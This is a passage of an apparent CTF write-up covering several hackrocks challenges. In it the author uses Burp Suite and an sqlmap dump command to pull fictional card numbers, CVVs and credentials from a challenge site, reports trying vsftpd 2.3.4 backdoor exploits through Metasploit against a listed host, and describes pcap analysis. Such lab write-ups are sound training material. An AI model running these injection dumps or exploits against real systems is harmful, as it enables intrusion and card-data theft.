Cat, Django, 2018, however by the time I went back to try them CTF has been ended. So this challenge was not completed.</p><blockquote><strong><em>5. Attacking The Bad Guy:-</em></strong></blockquote><p><strong>Description:</strong> Not all cybercriminals secure their communications or methods, so they can be tracked and sometimes even compromise their services.</p><p>In this case, “the bad guy” left a trace on his website, and you will have to break it to verify if your customer’s data is stored on it. Do you dare to hack the “hacker”?<br>[Challenges Second]<br> lenaff8</p><p>In the last couple of days, tickets have been received from our customers notifying and claiming money for purchases that they have not made, but both on our website and on other sites, that is, users are receiving unrequited money charges.</p><p>All of them agree that these charges are made after having made a purchase in our store. Following this rare occurrence, we called in our Blue Team to investigate the case. After reviewing both the logs and the web code, they managed to find a third-party library that captured the information of the bank cards as well as their CVV and expiration date. Additionally, analyzing said library they find the website to which the data was being sent, but they find a login and this team is not specialized in attacks of this style, so they request your help, so that you investigate said website, obtain access and check if the stored data is there, and more specifically, the data of Adrián Peréz Ríos, since he is an important buyer.</p><p>The challenge token will be: Adrián Pérez Ríos’s passwordadmin-numcard-cvv-expiredate or 0000000000–123–12/22 if it is not present.</p><p>Response example: admin12–4548812049400004–203–08/27<br>To access the challenge, click on the following link: <a href="https://challenges.hackrocks.com/bad-guy">https://challenges.hackrocks.com/bad-guy</a></p><p><strong>SOLUTION:</strong> Since this one included login portal, it was time to bring out Big guns. I used Burp Suite to intercept a login request “<a href="https://challenges.hackrocks.com/bad-guy/?username=yLkTfcbd&amp;password=mgfdserf&amp;login=Are+you+sure%3f">https://challenges.hackrocks.com/bad-guy/?username=asdfgh&amp;password=asdfgh&amp;login=Are+you+sure%3f</a>&quot; and passed it to Sqlmap with syntax “sqlmap -u <a href="https://challenges.hackrocks.com/bad-guy/?username=yLkTfcbd&amp;password=mgfdserf&amp;login=Are+you+sure%3f">https://challenges.hackrocks.com/bad-guy/?username=asdfgh&amp;password=asdfgh&amp;login=Are+you+sure%3f</a> — dump”.<br>This dumped two tables:<br>Database: filtrados<br>Table: cuentas<br>[10 entries]<br>+ — — + — — -+ — — — — — — — — — + — — — — — -+ — — — — — — — — — — — -+ — — — — — — — — — +<br>| id | cvv | name | fecha_cad | last_name | num_cuenta |<br>+ — — + — — -+ — — — — — — — — — + — — — — — -+ — — — — — — — — — — — -+ — — — — — — — — — +<br>| 1 | 100 | Mariola | 05/26 | Benítez Madroñal | 2683393655746243 |<br>| 2 | 321 | Claus | 03/24 | Grande Sanchez | 4866928395393289 |<br>| 3 | 345 | Imanol | 08/23 | Zabala | 4834966576322339 |<br>| 4 | 456 | María | 09/22 | Castañeda León | 6232573332859554 |<br>| 5 | 879 | Adrián | 07/25 | Pérez Ríos | 6269784865499645 |<br>| 6 | 20 | Francisco Javier | 02/26 | Sánchez Puente | 6478497458632956 |<br>| 7 | 107 | Mariola | 02/23 | Benítez de la Herranz | 4593769667235535 |<br>| 8 | 589 | Pepe | 06/24 | Rodríguez Escobar | 4982832873926876 |<br>| 9 | 986 | Jonathan | 04/23 | Garcia Soria | 7626334895889925 |<br>| 10 | 345 | Miguel Ángel | 05/23 | de los Santos Torres | 5633443968477687 |<br>+ — — + — — -+ — — — — — — — — — + — — — — — -+ — — — — — — — — — — — -+ — — — — — — — — — +</p><p>Database: filtrados<br>Table: usuarios<br>[2 entries]<br>+ — — — + — — — -+ — — — — — — — — — — +<br>| id_u | usu | contra |<br>+ — — — + — — — -+ — — — — — — — — — — +<br>| 1 | admin | 123456789987654321 |<br>| 2 | usu | 1234678 |<br>+ — — — + — — — -+ — — — — — — — — — — +</p><p>Now as per given format we had to enter like “Response example: admin12–4548812049400004–203–08/27” so I used “123456789987654321–6269784865499645–879–07/25” and voila, Bad guy pwned. One thing I would to mention is in case of pentest or production environment, I would never have used sqlmap such recklessly as it might have done serious disruption.</p><blockquote><strong><em>6. The Final Countdown:-</em></strong></blockquote><p><strong>Description: </strong>Did you know that we at hackrocks have launched our own space program? In fact, we have decided to compete with Elon Musk and our ultimate goal is to reach Mars! Why not? :).</p><p>But for now, first stop, the moon. And we have already started with setbacks. Possibly due to the action of cosmic radiation, the countdown to the emergency launch of the module back to Earth has started. Unless our pilots can stop it in time, it will inevitably take off, whether they are on board or not.</p><p>As part of the ground crew, can you help them?</p><p>For security, this code is changed every few seconds. The commander has a hardware device, similar to an RSA key, which generates an OTP from the current code. However, the commander has lost it, and we don’t have time to send him another one!</p><p>File:RSA-SecurID-Token.jpg — Wikimedia Commons</p><p>Will you be able to stop the countdown by providing the next valid code after the current one at some point in time?<br>To access the challenge, click on the following link: <a href="https://challenges.hackrocks.com/launch-code/">https://challenges.hackrocks.com/launch-code/</a></p><p><strong>SOLUTION:</strong> I looked at the website once and took rain check.</p><blockquote><strong><em>7. FTPing:-</em></strong></blockquote><p><strong>Description:</strong> You should already know that, in the hacker universe, nothing is what it seems, nor is it where it should be. In this challenge you will have to face a lonely machine, which will not easily reveal its secrets to you. Ready to accept the challenge?</p><p>Of course, getting the token will not be easy at all. You will have to use different techniques, and chain several of them together. So enough chitchat for now.</p><p>Your target? The next machine:<br>assembly.hackrocks.com<br>Good luck!</p><p><strong>SOLUTION:</strong> This challenge remained unsolved, however this was very interesting one as I manageed to uncover some juicy details. Nonetheless it was a deadend.<br>Details are as follows:<br>Domain = assembly.hackrocks.com <br>IP = 23.88.100.109 <br>Hostname = static.109.100.88.23.clients.your-server.de<br>Operating System = Ubuntu 20.04<br>Open Ports = 22 (SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.3) &amp; 2121 (vsFTPd 2.3.4)<br>Now I said interesting before as this particular version of vsftpd has a particular “Backdoor Command Execution” vulnerability which seemed to be patched here. I tried multiple exploits including one available in Metasploit as well to no avail.</p><blockquote><strong><em>8. Santa Claus has Disappeared:-</em></strong></blockquote><p><strong>Description:</strong> Santa Claus has been kidnapped! Christmas is in danger!</p><p>Of course, you cannot remain impassive, ¡help us! The problem is that we only have a network traffic capture that, we are sure, has been generated by Santa.</p><p>In this challenge:<br>You must find the geographic location of Santa.<br>You will learn to analyze traffic captures.<br>You must exercise your analytical and abstraction skills.</p><p>It’s terrible, Santa Claus has disappeared. Our agents suspect that The Grinch is behind this kidnapping. But, as always, it won’t be easy for us to find him. The only thing we have achieved is a traffic capture, obtained from a wireless interface, which we know has been generated by Santa himself to request help.</p><p>By the way, our little helpers inform us that the token to overcome this challenge will be Santa’s geographic location.</p><p>Ready to start?</p><p><strong>SOLUTION:</strong> This challenge was not solved, however here is my analysis.<br>The pcap file had some very interesting data and I managed to extract Santa’s private IP (192.168.1.84). This IP led me to some MAC addresses (80:78:71:8e:91:d0, c8:09:a8:75:14:b7) and IPs (95.216.99.248, 20.190.129.100, 52.113.205.16, 157.245.220.120). I also saw some searches made over port 80 ( help, how to make gorg, how to open locked doors, what is stockholm syndrome). I tried to enter stockholm as that it a city but it wasn’t the right answer.</p><blockquote>I believe with more time on my hand atleast 2 other challenges could have been solved. Nonetheless this CTF served as a nice break and am looking forward to participate next year as well.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9175a6e183c7" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>